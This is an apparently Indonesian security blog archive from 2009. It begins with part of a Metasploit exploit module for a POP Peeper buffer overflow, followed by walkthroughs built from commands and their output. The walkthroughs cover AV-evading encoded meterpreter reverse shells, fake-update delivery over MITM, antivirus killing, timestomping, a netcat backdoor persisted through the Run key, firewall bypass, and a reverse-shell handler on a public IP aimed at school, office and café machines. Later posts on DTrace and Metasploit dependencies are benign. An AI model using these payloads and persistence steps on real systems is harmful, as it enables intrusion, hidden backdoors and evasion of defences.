		super(update_info(info,
			'Name'           => 'POP Peeper 3.4.0.0 UIDL Remote Buffer Overflow Exploit',
			'Description'    => %q{
                        POP Peeper is vulnerable to a remote buffer overflow vulnerability.This vulnerability is exploitable on the client side.
                        A vulnerable POP Peeper user must connect to an exploitation server and attempt to use retrieve mail to be affected.

                        To trigger this vulnerability, POP Peeper has to connect to an exploitation server acting as a POP3 daemon.
                        POP Peeper then uses the UIDL command to get unique IDs for each email it later plans on retrieving.
                       The exploitation server can send an oversized ID (1040 bytes), overflowing a buffer on the stack, giving the attacker
                       complete control over the process.

                       POP Peeper 3.4.0.0 was confirmed vulnerable. All versions of below 3.4.0.0 and are suspected vulnerable as well.

			},
			'Author'         => 'Based on MC\'s and Krakow Labs',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					['MIL', '8117'],
					['URL', 'http://www.krakowlabs.com/res/adv/KL0209ADV-poppeeper_uidl-bof.txt']
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 750,
					'BadChars' => "\x00\x0a\x20\x0d",
					'StackAdjustment' => -3500,
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => 'True',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['POP Peeper v3.4.0.0', { 'Ret' => 0x10014E39 } ]
				],
			'DisclosureDate' => 'Feb 27 2009',
			'DefaultTarget'  => 0))

			register_options(
			[
			  OptPort.new('SRVPORT', [ true, "The POP daemon to listen on", 110])
			], self.class
			)

	end

	def on_client_connect(client)
	  client.write("+OK\r\n")
  end

	def on_client_data(client)

	  # Re-generate the payload
		return if ((p = regenerate_payload(client)) == nil)

    client.write("+OK\r\n")
    client.get_once
    client.write("+OK\r\n")
    client.get_once
    client.write("+OK 1 100\r\n")
    client.get_once

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")
    client.write("+OK\r\n1 " + rand_text_alpha_upper(1072) + generate_seh_payload(target.ret) + "\r\n.\r\n")

    handler

    service.close_client(client)

  end

end

Pihak underground dapat memanfaatkan framework metasploit sebagai ‘ebook’ dalam mempelajari beragam tehnik dan teknologi eksploitasi, white hat / security consultant dapat memanfaatkan framework metasploit untuk mempercepat proses penetration testing ataupun pengembangan eksploit, blackhat / para developer automatic tools semacam MPack dan ICEpack dapat memanfaatkan beragam shellcode ataupun assembly code dari metasploit untuk dimasukan kedalam modul-modul 0day miliknya. Inilah salah satu seni kehebatan opensource.

Everybody can learn and get benefit of a framework, isn’t it? ;)

.cheat sheat linux.

Sunday, March 1st, 2009

.dummies about linux??.

.here few cheat sheet tentang command shell di linux,unix.

.happy,kiddo…

make ur choice;

EOF–

.fun and profit with meterpreter.

Sunday, March 1st, 2009

.so lets make ur choice kiddo,dengan mengacu sebelumnya pada artikel.

.meterpreter non encode.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 X > meterpreter_1.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LHOST=192.168.0.12,LPORT=455

http://www.virustotal.com/analisis/4b0a655b264b23b2f4dab74688c8890e
Result: 1/39

.meterpreter with encode XOR.

neo@b0x:/pentest/exploits/framework3# ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=455 R | ./msfencode -e x86/shikata_ga_nai -b '' -t exe -o meterpreter_2.exe
[*] x86/shikata_ga_nai succeeded, final size 306

http://www.virustotal.com/analisis/cbb1cf1a7ce9943c5d8d15f210da8361
Result: 0/39 (0%)

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.0.12
LHOST => 192.168.0.12
msf exploit(handler) > set LPORT 455
LPORT => 455
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

.next move is critical,well sekarang attacker membuat target agar mengeksekusi meterpreter_2.exe sebeneranya ini tergantung imajinasi anda sendiri.
.penulis sendiri memilih ettercap sebagai jembatan menggunakan metode MITM. bisa dengan ettercap filter yang akan membuat popup setiap target melakukan browsing.
.ataupun dengan kombinasi evilgrade( www.infobyte.com.ar )+ettercap dengan DNS spoofing secara tidak langsung akan mengelabui target untuk melakukan fake patch
untuk beberapa program yang ada di evilgrade exam: winamp,winzip,notepad++ bisa juga menambahkan modul tersendiri di evilgrade; firefox ataupun thunderbird (-.-)”.

.setelah target mengeksekusi meterperter_2.exe.

[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.0.12:455 -> 192.168.0.5:1037)

meterpreter > sysinfo
Computer: PENTEST3
OS      : Windows XP (Build 2600, Service Pack 3).

.with remote desktop.
.there is for Virtual Network Computing look, im prefer CLI than GUI (^^)V.

meterpreter > run getgui
-----------------passing------------------------

.kill AV.
meterpreter > run killav
[*] Killing Antivirus services on the target...

.ok bisa juga dengan mengedit killav.rb untuk menambahkan beberapa list AV tersendiri.

neo@b0x:~# vi /pentest/exploits/framework3/scripts/meterpreter/killav.rb
#
# Meterpreter script that kills all Antivirus processes
# Provided by: Jerome Athias 
#

print_status("Killing Antivirus services on the target...")

avs = %W{
        AAWTray.exe
        Ad-Aware.exe
        MSASCui.exe
        _avp32.exe
        _avpcc.exe
        _avpm.exe
        aAvgApi.exe
        ackwin32.exe
        adaware.exe
        advxdwin.exe
        agentsvr.exe
        agentw.exe
        alertsvc.exe
        alevir.exe
        alogserv.exe
        amon9x.exe
        anti-trojan.exe
-----------------cut------------------------

windows enumiration

meterpreter > run winemun
[*] Running Windows Local Enumerion Meterpreter Script
[*] New session on 192.168.0.5:1037...
[*] Saving report to /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
[*] Checking if PENTEST3 is a Virtual Machine ........
[*]     This is a VMWare virtual Machine
[*] Running Command List ...
[*]     running command cmd.exe /c set
[*]     running command arp -a
[*]     running command ipconfig /all
[*]     running command ipconfig /displaydns
[*]     running command route print
[*]     running command net view
[*]     running command netstat -nao
[*]     running command netstat -vb
[*]     running command netstat -ns
[*]     running command net accounts
[*]     running command net accounts /domain
[*]     running command net session
-----------------cut------------------------

example output winenum

neo@b0x:~# cat /neo/.msf3/logs/winenum/192.168.0.5_20090216.174854613/192.168.0.5_20090216.174854613.txt
Date:       2009-02-16.02:17:48
Running as: PENTEST3\pentest3
Host:       PENTEST3
OS:         Windows XP (Build 2600, Service Pack 3).

This is a VMWare virtual Machine

*****************************************
      Output of cmd.exe /c set
*****************************************
ALLUSERSPROFILE=C:\Documents and Settings\All Users
APPDATA=C:\Documents and Settings\pentest3\Application Data
CLIENTNAME=Console
CommonProgramFiles=C:\Program Files\Common Files
COMPUTERNAME=PENTEST3
ComSpec=C:\WINDOWS\system32\cmd.exe
FP_NO_HOST_CHECK=NO
HOMEDRIVE=C:
HOMEPATH=\Documents and Settings\pentest3
LOGONSERVER=\\PENTEST3
NUMBER_OF_PROCESSORS=2
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
PROCESSOR_ARCHITECTURE=x86
PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 13, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=0f0d
ProgramFiles=C:\Program Files
PROMPT=$P$G
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\WINDOWS
TEMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
TMP=C:\DOCUME~1\pentest3\LOCALS~1\Temp
USERDOMAIN=PENTEST3
-----------------cut------------------------

.bagaimana bila winemun ruby dalam framework3/scripts/meterpreter/winenum.rb.
.penulis lakukan modifikasi hingga yang di dump adalah my document bukan lagi registry ^_^V.

.netcat as backdoor.
.swiss army knife menggunakan TCP dan UDP dalam melakukan koneksi,penulis akan membahas penggunaan backd00r dalam wind#ws b0x.
.walaupun banyak antivirus menggangap netcat sebagai hacktool .

meterpreter > use priv
Loading extension priv...success.

meterpreter > upload /tmp/system32.exe C:\\windows\\system32\\
[*] uploading  : /tmp/system32.exe -> C:\windows\system32\
[*] uploaded   : /tmp/system32.exe -> C:\windows\system32\\system32.exe

.change file times.

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Tue Feb 24 20:27:49 -0500 2009
Accessed      : Thu Feb 26 09:29:39 -0500 2009
Created       : Tue Feb 24 20:27:49 -0500 2009
Entry Modified: Thu Feb 26 09:29:39 -0500 2009

meterpreter > timestomp C:\\windows\\system32\\system32.exe -b
[*] Blanking file MACE attributes on C:\windows\system32\system32.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -f C:\\windows\\system32\\cmd.exe
[*] Setting MACE attributes on C:\windows\system32\system32.exe from C:\windows\system32\cmd.exe

meterpreter > timestomp C:\\windows\\system32\\system32.exe -v
Modified      : Sun Apr 13 18:42:16 -0400 2008
Accessed      : Sat Feb 28 05:06:19 -0500 2009
Created       : Thu Aug 23 08:00:00 -0400 2001
Entry Modified: Sat Feb 28 05:06:19 -0500 2009

meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
Enumerating: HKLM\software\microsoft\windows\currentversion\run

  Values (3):

        SunJavaUpdateSched
        VMware Tools
        VMware User Process

meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
Successful set system32.

meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
Key: HKLM\software\microsoft\windows\currentversion\Run
Name: system32
Type: REG_SZ
Data: C:\windows\system32\system32.exe -Ldp 455 -e cmd.exe

.bypass XP default firewall.
.ada 2 metode dalam baypass firewall dari XP,dengan registry ataupun dengan network shell.

.with registry edit.

meterpreter > reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
Enumerating: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list

No children.

meterpreter > reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32 -d "C:\WINDOWS\system32\system32.exe:*:Enabled:system32"
Successful set system32.

meterpreter > reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
Key: HKLM\system\controlset001services\sharedaccess\parameters\firewallpolicy\Standardprofile\authorizedapplications\list
Name: system32
Type: REG_SZ
Data: C:WINDOWSsystem32system32.exe:*:Enabled:system32

.with “netsh” command.

C:\Documents and Settings\pentest3\Desktop>Netsh firewall show opmode
Netsh firewall show opmode

Domain profile configuration:
-------------------------------------------------------------------
Operational mode                  = Enable
Exception mode                    = Enable

Standard profile configuration (current):
-------------------------------------------------------------------
Operational mode                  = Enable <<<< this
Exception mode                    = Enable <<<< this

Local Area Connection 2 firewall configuration:
-------------------------------------------------------------------
Operational mode                  = Enable

.setting firewall menarik disana adalah operation dan exception mode yang enable.
.sehingga attacker dapat melakukan penambahan port yang terbuka.

C:\Documents and Settings\pentest3\Desktop>netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
netsh firewall add portopening TCP 455 "Service Firewall" ENABLE ALL
ok.

C:\Documents and Settings\pentest3\Desktop>netsh firewall show portopening
netsh firewall show portopening

Port configuration for Domain profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

Port configuration for Standard profile:
Port   Protocol  Mode     Name
-------------------------------------------------------------------
455    TCP       Enable   Service Firewall              <<<< this
139    TCP       Enable   NetBIOS Session Service
445    TCP       Enable   SMB over TCP
137    UDP       Enable   NetBIOS Name Service
138    UDP       Enable   NetBIOS Datagram Service

.change target XP desktop wallpaper.
.secata default XP menamakan wallpaper desktopnya dengan wallpaper1.bmp, sehingga kita dapat melakukan replace.
.is this funny?.

meterpreter > upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
[*] uploading  : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\
[*] uploaded   : /neo/wallpaper1.bmp -> C:\documents and settings\pentest3\local settings\application data\microsoft\\wallpaper1.bmp

meterpreter > execute -H -i -f cmd.exe
Process 1096 created.
Channel 2 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3\Desktop>

.one more funny stuff.
.dengan shutdown command attacker dapat melakukan shutdown/restart dengan timeout,with funny message.

C:\Documents and Settings\pentest3\Desktop>shutdown -r -f -c "::your box are belong to us::" -t 13
shutdown -r -f -c "::your box are belong to us::" -t 13

msf > connect 192.168.0.5 455
[*] Connected to 192.168.0.5:455
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\pentest3>  

are u makes fun kidd0?

upgrade ur evil mind and imagination,explore out of the sphere,think out of the box
make ur choice;

EOF--

Metasploit: Backdooring

Sunday, February 22nd, 2009

Mungkin sebagian sudah ada yang tahu bahwa metasploit dapat digunakan untuk membuat backdoor, pernah juga disinggung pada toket edisi new year 2009. Penggunaan backdoor ini sangat berguna terutama sebagai post-exploitation method. Pada contoh kali ini kita akan memanfaatkan 2 metode dasar mendapatkan shell dari target, yaitu bind_tcp dan reverse_tcp.

Untuk bind_tcp, backdoor akan dijalankan pada terget dimana target akan membuka port pada sistemnya sendiri. Sehingga setelah proses exploitasi selesai, kita dapat masuk kapan saja ke target dengan memanfaatkan port yang telah dibuka oleh backdoor tersebut.

$ ./msfpayload windows/meterpreter/bind_tcp LPORT=4321 RHOST=10.10.96.143 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/bind_tcp
 Length: 307
Options: LPORT=4321,RHOST=10.10.96.143,EXITFUNC=thread

Backdoor tersebut akan membuka port 4321 pada target 10.10.96.143. Bagaimana proses menjalankan backdoor tersebut terserah kita, bisa jadi backdoor ditanam dan dijalankan setelah proses exploitasi selesai terhadap target seperti berikut:


msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 0 / 1 - lang:English
[*] Selected Target: Windows XP SP0/SP1 Universal
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (10.10.97.14:31338 -> 10.10.96.143:4780)

meterpreter > cd \
meterpreter > pwd
C:\
meterpreter > upload MicrosoftDS.exe
[*] uploading  : MicrosoftDS.exe -> MicrosoftDS.exe
[*] uploaded   : MicrosoftDS.exe -> MicrosoftDS.exe
meterpreter > execute -f MicrosoftDS.exe -H
Process 2348 created.

Pada saat berikutnya, kita dapat masuk ke mesin target tanpa melakukan exploitasi ulang, cukup dengan membuka koneksi pada port yang telah didefinisikan berikutnya.


msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4321
LPORT => 4321
msf exploit(handler) > set RHOST 10.10.96.143
RHOST => 10.10.96.143
msf exploit(handler) > exploit

[*] Starting the payload handler...
[*] Started bind handler
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 2 opened (10.10.97.14:58798 -> 10.10.96.143:4321)

meterpreter >

Metode kedua menggunakan reverse shell, reverse shell digunakan terutama apabila network target dibatasi oleh firewall sehingga tidak bisa membuka koneksi ke semua port (tipikal internal network). Jadi jika kalian mendapatkan kesempatan untuk hacking ke salah satu mesin dalam internal network (misal: komputer sekolah, komputer kantor, komputer warnet, etc) serta tetap ingin mendapatkan akses shell tersebut kapanpun dan dimanapun bisa memanfaatkan multi-handler metasploit untuk menerima reverse shell. Kita bisa setup multi-handler di mesin-mesin yang dapat diakses dari manapun di internet, misalnya: mesin hosting, atau mesin server hasil rampokan, dsb.


msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------  

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique: seh, thread, process
   LHOST                      yes       The local address
   LPORT     4444             yes       The local port                        

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target  

msf exploit(handler) > set LPORT 53
LPORT => 53
msf exploit(handler) > set LHOST 222.124.199.76
LHOST => 222.124.199.76
msf exploit(handler) > set ExitOnSession false
msf exploit(handler) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Selanjutnya tinggal buat backdoor dengan kategori reverse_shell:


$ ./msfpayload windows/meterpreter/reverse_tcp LPORT=53 LHOST=222.124.199.76 EXITFUNC=thread X > MicrosoftDS.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 278
Options: LPORT=53,LHOST=222.124.199.76,EXITFUNC=thread
$ file MicrosoftDS.exe
MicrosoftDS.exe: MS-DOS executable PE  for MS Windows (GUI) Intel 80386 32-bit

Dan ketika dijalankan (dijalankan melalui sesi pasca exploitasi ataupun dijalankan secara manual lewat double-click mouse :P ), pada multi-handler akan muncul:


[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 3 opened (222.124.199.76:53 -> 10.10.96.143:4831)

meterpreter > 

Asyiknya menggunakan multi-handler metasploit adalah kita dapat memiliki banyak sessions sekaligus, untuk contoh diatas dapat dilihat satu multi-handler yang telah diset ExitOnSession==false dapat menghandle banyak reverse_shell sekaligus. Dan kita dapat berinteraksi dengan session-session tersebut kapanpun kita mau:


msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Description  Tunnel
  --  -----------  ------
  3   Meterpreter  222.124.199.76:53 -> 10.10.96.146:4831
  4   Meterpreter  222.124.199.76:53 -> 10.10.96.223:4836
  5   Meterpreter  222.124.199.76:53 -> 10.10.96.215:4838
  6   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4840
  7   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4845
  8   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4846
  9   Meterpreter  222.124.199.76:53 -> 172.16.96.143:4847  

msf exploit(handler) > sessions -i 3
[*] Starting interaction with 3...
meterpreter > sysinfo
Computer: PROGWAR
OS      : Windows XP (Build 2600, ).

Itulah beberapa contoh pemanfaatan metasploit untuk backdooring, masih banyak contoh-contoh kreatif lainnya terutama yang berbau kiddies dan evil-in-mind. Oh iya, pada contoh diatas saya menggunakan payload meterpreter berkali-kali. Pembahasan tentang meterpreter akan dilakukan berikutnya.

Stay tuned *heh, serasa pembawa acara opera sabun*

Again, Backtrack 4 Harddisk Installation

Tuesday, February 17th, 2009

Seperti biasa, proses instalasi Backtrack sangat-sangat simple terutama bagi para pengguna Gentoo dimana tehnik chroot dan konfigurasi boot loader bukan lagi menjadi hal yang aneh. Instalasi backtrack 4 ke harddisk secara umum dapat dilihat pada forum remote-exploit, sebagai tambahan instalasi Backtrack 4 pada MacBook dapat dilihat pada link ini.

Google Scanning..?!

Tuesday, February 10th, 2009

Google adalah sebuah raksasa mesin pencari yang sampai sekarang tetap menjadi teman bagi siapapun yang bergelut di dunia internet. Iseng saya melihat-lihat kembali keyword yang biasa saya pakai untuk menengok beberapa informasi yang cukup (gak) penting. saya cukup surprise ketika saya memakai keyword ini (google hacking tetap menjadi salah satu option dalam langkah awal untuk prosess penetrasi/hacking/cracking). info ini cukup basi bagi sebagian orang, tapi menjadi tidak basi ketika anda tahu prosess selanjutnya :) .
Dengan info seperti diatas, google kadang-kadang lebih canggih dari pada Nmap sekalipun.

NB: para admin harusnya sadar, info berharga seperti itu harusnya dihapus jauh hari sebelum sistem digunakan sebagai mesin produksi

Peace ahh,

jackD

Metasploit dependency

Friday, January 30th, 2009

Banyak sekali pertanyaan tentang Metasploit dan cara penggunaannya baik itu di forum maupun lewat IM, padahal tools ini udah memiliki banyak dokumentasi dan bahkan forum yang khusus membahas tentang berbagai fungsi dan cara penggunaannya. Cuma terkadang ada beberapa hal yang tidak dimengerti secara baik oleh para newbie yang ingin bermain-main dengan framework metasploit ini.
Seperti yang telah diutarakan oleh Cyberh3b tentang metasploit framework di blog ini, beberapa feature tools ini tidak bisa dipakai secara langsung setelah di download. Penggunaan terbaik metasploit adalah under Linux backtrack, karena package-package yang dibutuhkan sebagian besar sudah ada, tapi tetap butuh configurasi lebih lanjut. Nah, yang menjadi problem besar adalah ketika melakukan installasi metasploit ke system nix yang lain, udah pasti para newbie akan putus asa ketika mau mencoba menjalankan feature AutoPwn ataupun WMAP. Harus diperhatikan bahwa setiap applikasi yang berjalan di sebuah system pasti ada namanya dependency terhadap package atau library tertentu. Contoh simplenya adalah bahwa metasploit framework membutuhkan engine ruby agar bisa di jalankan. AutoPwn misalnya membutuhkan Postgress atau MySQL server agar bisa dipakai. Tambahan lainnya adalah, ketika mau menjalankan AutoPwn module, pastikan anda sudah melakukan configurasi terhadap database server yang anda mau pakai (karena ini adalah pertanyaan yang paling sering saya temui).
Ini adalah list package yang terinstall di box saya ( FreeBSD 7.1 ) sehingga bisa menjalankan Metasploit framework dengan baik (walaupun saya belum mencoba semua feature-nya)

k-elektronik# uname -rsn
FreeBSD k-elektronik 7.1-RELEASE-p2
k-elektronik# pkg_info
apr-db42-1.3.3.1.3.4 Apache Portability Library
autoconf-2.62       Automatically configure source code on many Un*x platforms
autoconf-wrapper-20071109 Wrapper script for GNU autoconf
automake-1.9.6_3    GNU Standards-compliant Makefile generator (1.9)
automake-wrapper-20071109 Wrapper script for GNU automake
db42-4.2.52_5       The Berkeley DB package, revision 4.2
expat-2.0.1         XML 1.0 parser written in C
findutils-4.4.0_3   The GNU find utilities
gettext-0.17_1      GNU gettext package
gmake-3.81_3        GNU version of 'make' utility
help2man-1.36.4_2   Automatically generating simple manual pages from program o
libdnet-1.11_2      A simple interface to low level networking routines
libiconv-1.11_1     A character set conversion library
libtool-1.5.26      Generic shared library support script
libxml2-2.6.32      XML parser library for GNOME
lua-5.1.3_3         Small, compilable scripting language providing easy access
m4-1.4.11,1         GNU m4
mysql-client-5.0.67_1 Multithreaded SQL database (client)
mysql-server-5.0.67_1 Multithreaded SQL database (server)
neon28-0.28.3       An HTTP and WebDAV client library for Unix systems
nmap-4.68           Port scanning utility for large networks
p5-gettext-1.05_2   Message handling functions
pcre-7.7_1          Perl Compatible Regular Expressions library
pdksh-5.2.14p2_2    The Public Domain Korn Shell
perl-5.6.2_2        Practical Extraction and Report Language
perl-5.8.8_1        Practical Extraction and Report Language
pkg-config-0.23_1   A utility to retrieve information about installed libraries
postgresql-client-8.3.3 PostgreSQL database (client)
postgresql-server-8.3.3 The most advanced open-source database available anywhere
python25-2.5.2_3    An interpreted object-oriented programming language
ratproxy-1.51       Semi-automated, largely passive web application security au
ruby+pthreads-1.8.6.287,1 An object-oriented interpreted scripting language
ruby18-extensions-0.6.0 Useful extensions for Ruby's standard classes
ruby18-gems-1.2.0_1 Package management framework for the Ruby language
rubygem-rake-0.8.1  Ruby Make
sqlite34-3.4.2      An SQL database engine in a C library w/ Tcl wrapper
subversion-1.5.2    Version control system
tcl-8.4.19,1        Tool Command Language

Mengetahui alur sebuah applikasi akan membuat anda menjadi jauh lebih baik daripada hanya sekedar tahu menjalankannya. Banyak hal-hal menarik yang bisa anda dapat ketika anda mengerti bagaimana sebuah sistem bekerja.
Trus bagaimana installasi dan configurasinya??!.. damm, i think you just type “how to install and configure blablabla” in your favorite search engine. So, are you happy kiddiez?

salam,

jackD

Dtrace on FreeBSD

Friday, January 16th, 2009

Proses tracing adalah salah satu bagian penting dari task seorang administrator sistem, melihat proses yang sedang berjalan, idle atau yang lainnya akan sangat membantu dalam proses pengaturan sistem itu sendiri. Banyak tools tracing yang tersedia, seperti ktrace, strace dan yang lainnya. Salah satu yang cukup powerfull bagi penulis adalah dtrace. Dtrace adalah sebuah tools yang datang dengan berbagai fungsi dan kegunaan yang sangat membantu proses tracing yang dibuat oleh SUN dan menjadi bagian dari sistem operasi SunOS maupun OpenSolaris. Salah satu feature yang sangat menarik dari dtrace adalah penggunaan D language sebagia scripting language buat dtrace itu sendiri.
FreeBSD sebagai salah satu sistem “Unix like” ikut memanfaatkan penggunaan dtrace sebagai salah satu tracing tool. Bagi para pengguna sistem ini, perlu sedikit modifikasi terhadap kernel, apabila ingin menggunakannya. Berikut langkah-langkah penggunaan dtrace di dalam sistem FreeBSD:

Pada langkah pertama saya menambahkan beberapa options untuk penggunaan dtrace, kemudian melakukan compile ulang pada kernel FreeBSD saya dengan option WITH_CTF (C Type Format).

k-elektronik# uname -sr
FreeBSD 7.1-RELEASE-p2
k-elektronik# cd /usr/src/sys/i386/conf/
k-elektronik# tail -n 2 K-Elektronik
options         KDTRACE_HOOKS
options         DDB_CTF
k-elektronik# cd /usr/src/
k-elektronik# make WITH_CTF=1 buildkernel KERNCONF=K-Elektronik
k-elektronik# make WITH_CTF=1 installkernel KERCONF=K-Elektronik
k-elektronik# reboot

Langkah kedua, saya meload module dtraceall ke-dalam kernel FreeBSD, jika ingin melakukan secara otomatis setiap kali ketika sistem boot, edit file /boot/loader.conf.

k-elektronik# kldload dtraceall
k-elektronik# kldstat
Id Refs Address    Size     Name
1   12 0xc0400000 990bb8   kernel
2    1 0xc0d91000 20d8     dtraceall.ko
3    4 0xc0d94000 3f98     cyclic.ko
4    9 0xc0d98000 23cc     opensolaris.ko
5    7 0xc0d9b000 ba188    dtrace.ko
6    2 0xc0e56000 26d8     dtmalloc.ko
7    2 0xc0e59000 456c     fbt.ko
8    2 0xc0e5e000 2788     sdt.ko
9    2 0xc0e61000 e340     systrace.ko
10    2 0xc0e70000 33b0     profile.ko
11    1 0xc0e74000 6a2c4    acpi.ko

k-elektronik# cat /boot/loader.conf
dtraceall_load="YES"

Seperti terlihat diatas, module dtrace telah di load oleh kernel, untuk mencobanya, buat script sederhana seperti dibawah ini:

k-elektronik# cat counter.d
dtrace:::BEGIN
{
i = 10;
}

profile:::tick-1sec
/i > 0/
{
trace(i--);
}

profile:::tick-1sec
/i == 0/
{
trace("blastoff!");
exit(0);
}

k-elektronik# dtrace -s counter.d
dtrace: script 'counter.d' matched 3 probes
CPU     ID                    FUNCTION:NAME
0  33203                       :tick-1sec        10
0  33203                       :tick-1sec         9
0  33203                       :tick-1sec         8
0  33203                       :tick-1sec         7
0  33203                       :tick-1sec         6
0  33203                       :tick-1sec         5
0  33203                       :tick-1sec         4
0  33203                       :tick-1sec         3
0  33203                       :tick-1sec         2
0  33203                       :tick-1sec         1
0  33203                       :tick-1sec   blastoff!

Dtrace sendiri banyak memiliki fungsi-fungsi yang bisa anda gunakan untuk keperluan tracing, dokumentasinya bisa anda baca disini,

k-elektronik# dtrace -l | more
ID   PROVIDER            MODULE                          FUNCTION NAME
1     dtrace                                                     BEGIN
2     dtrace                                                     END
3     dtrace                                                     ERROR
4   dtmalloc                                          madt_table malloc
5   dtmalloc                                          madt_table free
6   dtmalloc                                             acpidev malloc
7   dtmalloc                                             acpidev free
8   dtmalloc                                                 fbt malloc
9   dtmalloc                                                 fbt free
10   dtmalloc                                              apmdev malloc
11   dtmalloc                                              apmdev free
k-elektronik# dtrace -l | wc -l
33204

Ok, Selamat bereksplorasi dengan dtrace di FreeBSD!

Salam,

jackD